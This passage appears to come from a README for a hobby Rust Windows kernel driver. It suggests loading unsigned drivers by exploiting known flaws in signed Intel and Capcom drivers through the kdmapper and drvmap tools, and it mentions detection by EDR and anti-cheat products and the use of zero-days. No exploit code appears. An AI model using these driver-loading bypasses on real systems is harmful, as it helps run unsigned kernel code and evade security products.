Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver that is already loaded such as Intel or Capcom, although vulnerable drivers can be flagged easily by EDRs or ACs.
- https://github.com/TheCruZ/kdmapper (
iqvw64e.sysIntel driver) - https://github.com/not-wlan/drvmap (
capcom.sysCapcom driver) - https://github.com/zorftw/kdmapper-rs
Otherwise you can always get an extended validation (EV) code signing certificate by Microsoft which goes through a "vetting" process or use a 0-day which is really up to you lol.
A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else's bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete.
I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The prefered safe and robust way of coding Windows Kernel Drivers in Rust is shown here:
